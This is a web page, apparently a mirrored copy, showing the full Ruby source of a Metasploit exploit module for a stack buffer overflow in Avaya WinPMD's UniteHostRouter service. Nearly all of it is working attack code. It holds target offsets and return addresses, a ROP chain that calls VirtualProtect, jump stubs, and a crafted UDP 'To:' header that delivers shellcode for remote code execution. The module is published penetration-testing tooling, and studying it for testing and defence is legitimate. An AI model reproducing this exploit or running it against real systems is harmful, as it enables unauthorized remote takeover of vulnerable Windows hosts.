Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(update_info(info,12'Name' => 'Avaya WinPMD UniteHostRouter Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in Avaya WinPMD. The vulnerability15exists in the UniteHostRouter service, due to the insecure usage of memcpy when16parsing specially crafted "To:" headers. The module has been tested successfully on17Avaya WinPMD 3.8.2 over Windows XP SP3 and Windows 2003 SP2.18},19'Author' =>20[21'AbdulAziz Hariri', # Vulnerability discovery22'Unknown', # Abysssec, PoC23'juan vazquez' # Metasploit module24],25'References' =>26[27['OSVDB', '82764'],28['OSVDB', '73269'],29['BID', '47947'],30['EDB', '18397'],31['URL', 'https://downloads.avaya.com/css/P8/documents/100140122'],32['URL', 'http://web.archive.org/web/20110527165515/http://secunia.com:80/advisories/44062']33],34'Payload' =>35{36'BadChars' => "\x00\x0d\x0a\x20\x2f\x3a\x3f",37'Space' => 1024,38'DisableNops' => true39},40'Platform' => 'win',41'Targets' =>42[43['Avaya WinPMD 3.8.2 / Windows XP SP3',44{45'Offset' => 260,46'Ret' => 0x77c2e93b # MOV EAX,EDI # POP EDI # RETN from msvcrt47}48],49['Avaya WinPMD 3.8.2 / Windows 2003 SP2',50{51'Offset' => 260,52'Ret' => 0x0040e0f2 # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from UniteHostRouter.EXE53}54]55],56'Privileged' => true,57'DisclosureDate' => '2011-05-23',58'DefaultTarget' => 059))6061register_options([ Opt::RPORT(3217) ])62end6364def junk(n=4)65return rand_text_alpha(n).unpack("V")[0].to_i66end6768def nop69return make_nops(4).unpack("V")[0].to_i70end7172def exploit73connect_udp7475if target.name =~ /Windows XP SP3/76buf = "\xeb\x7f" # jmp short $+0x8177buf << rand_text(0x81 - 2)78buf << "\xeb\x7f" # jmp short $+0x8179buf << rand_text(0x81 - 2)80buf << "\xeb\x64" # jmp short $+0x66 # jmp to shellcode in the heap81buf << [target.ret].pack("V") # MOV EAX,EDI # POP EDI # RETN # from msvcrt # EDI points to data in the heap82buf << [0x77c5f9a0].pack("V") # Readable address with string # from msvcrt83buf << ([0x77c3c99c].pack("V")) * 21 # (INC EAX # RETN) * 21 # from msvcrt # EAX points to data in th heap, align to shellcode position84buf << [0x77c168cd].pack("V") # jmp eax # from msvcrt.dll # JMP to shellcode in the heap85elsif target.name =~ /Windows 2003 SP2/86rop_gadgets =87[880x77bb2563, # POP EAX # RETN890x77ba1114, # <- *&VirtualProtect()900x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN91junk,920x77bb0c86, # XCHG EAX,ESI # RETN930x77bc9801, # POP EBP # RETN940x77be2265, # ptr to 'push esp # ret'950x77bb2563, # POP EAX # RETN960x03C0990F,970x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)980x77bb48d3, # POP EBX, RET990x77bf21e0, # .data1000x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN1010x77bbfc02, # POP ECX # RETN1020x77bef001, # W pointer (lpOldProtect) (-> ecx)1030x77bd8c04, # POP EDI # RETN1040x77bd8c05, # ROP NOP (-> edi)1050x77bb2563, # POP EAX # RETN1060x03c0984f,1070x77bdd441, # SUB EAX, 03c0940f1080x77bb8285, # XCHG EAX,EDX # RETN1090x77bb2563, # POP EAX # RETN110nop,1110x77be6591, # PUSHAD # ADD AL,0EF # RETN112].pack("V*")113buf = rand_text(3) # padding114buf << rop_gadgets115buf << "\xeb\x7f" # jmp $+0x81116buf << rand_text(0x81-2)117buf << "\xeb\x25" # jmp short $+0x66 => to shellcode118buf << rand_text(target['Offset'] - buf.length)119buf << "\xf2\xe0\x40" # EIP => # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from [UniteHostRouter.EXE # stackpivot to heap120end121122request = "UTP/1 To: 127.0.0.1 /#{buf}\r\n\r\n"123124if target.name =~ /Windows 2003 SP2/125request << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500126end127128request << payload.encoded # The shellcode will be stored in the heap129130print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...")131udp_sock.put(request)132disconnect_udp133end134end135136137